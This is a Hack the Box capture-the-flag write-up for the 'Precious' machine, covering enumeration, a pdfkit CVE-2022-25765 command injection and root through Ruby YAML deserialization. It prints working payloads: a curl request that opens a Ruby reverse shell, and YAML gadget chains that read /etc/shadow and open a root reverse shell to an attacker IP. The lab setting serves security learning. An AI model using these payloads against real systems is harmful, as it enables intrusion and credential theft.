4 minutes
Hack the Box - Precious - Write Up
Enumeration
Initial scan using nmap:
sudo nmap -sS -A 10.10.11.189
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-21 20:20 -03
Nmap scan report for precious.htb (10.10.11.189)
Host is up (0.24s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 845e13a8e31e20661d235550f63047d2 (RSA)
| 256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_ 256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Convert Web Page to PDF
| http-server-header:
| nginx/1.18.0
|_ nginx/1.18.0 + Phusion Passenger(R) 6.0.15
Just port 80and 22open.
HTTP - 80
The initial step involved setting up the DNS entry for precious.htb, allowing me to access the address through my browser.
I executed whatweb for web enumeration:
whatweb http://precious.htb/
http://precious.htb/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0 + Phusion Passenger(R) 6.0.15], IP[10.10.11.189], Ruby-on-Rails, Title[Convert Web Page to PDF], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-Powered-By[Phusion Passenger(R) 6.0.15], X-XSS-Protection[1; mode=block], nginx[1.18.0]
Despite further enumeration with tools such as gobuster, nikto, and nmap using the vunls script, I couldn’t identify any clear entry points.
Inspecting the source code of the page also yielded no significant insights.
The site offers a functionality to convert web addresses into PDF. I tried converting several random web pages, but as the target machine lacked internet access, all attempts failed. Subsequently, I initiated a local HTTP server using Python and attempted to convert a local URL.
The tool successfully converted my local URL into a PDF, which I then downloaded for analysis.
Exploit
Upon using the exiftool, I identified the underlying tool for this conversion as pdfkit v0.8.6. Researching this version led me to discover the vulnerability CVE-2022-25765 associated with it.
Exploiting this vulnerability was straightforward. After starting the local HTTP server again, I initiated a local port using netcat and dispatched the payload via curl.
The payload is as follows:
curl 'TARGET-URL' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: TARGET_URL' -H 'Connection: keep-alive' -H 'Referer: TARGET_URL' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'url=http%3A%2F%2FLOCAL-IP%3ALOCAL-HTTP-PORT%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%22LOCAL-IP%22%2CLOCAL-LISTEN-PORT%29%29%27%60'
Local Enumeration
Having obtained a shell, my immediate objective was to retrieve the user flag. Unfortunately, the user ‘ruby’ lacked the necessary permissions to access the file. Further manual enumeration revealed user credentials stored in the ruby home directory:
SSH
Using the obtained credentials, I established an SSH connection to the machine and successfully accessed the user.txt flag:
Privilege Escalation
Closer examination indicated that the user ‘henry’ could execute /usr/bin/ruby /opt/update_dependencies.rb with sudo privileges:
After attempting various methods to escalate to root and researching online, I identified a vulnerability associated with the YAML load file function deserialization present within the /opt/update_dependencies.rb file.
Executing this file with sudo privileges initially resulted in an error due to a missing dependencies.yml file. In response, I created the required file and embedded a Ruby payload.
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: cat /etc/shadow
method_id: :resolve
I modified the payload to gain the necessary root permissions and utilized it to initiate a reverse shell session with elevated privileges. Ultimately, with root access in hand, I accessed and read the flag located within the root directory.
Having gained access to the passwd file, I surmised that there was a potential avenue for escalating privileges to root. Multiple strategies could be pursued at this juncture. I could have attempted to decrypt the shadow file or modify permissions in the root directory. However, I opted to initiate a reverse shell session with root privileges using a Ruby payload.
To facilitate this, I opened a port on my attacking machine and modified the payload to execute the reverse shell.
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.16.35",9001))'
method_id: :resolve
Upon obtaining root access, I successfully retrieved the flag from the root directory.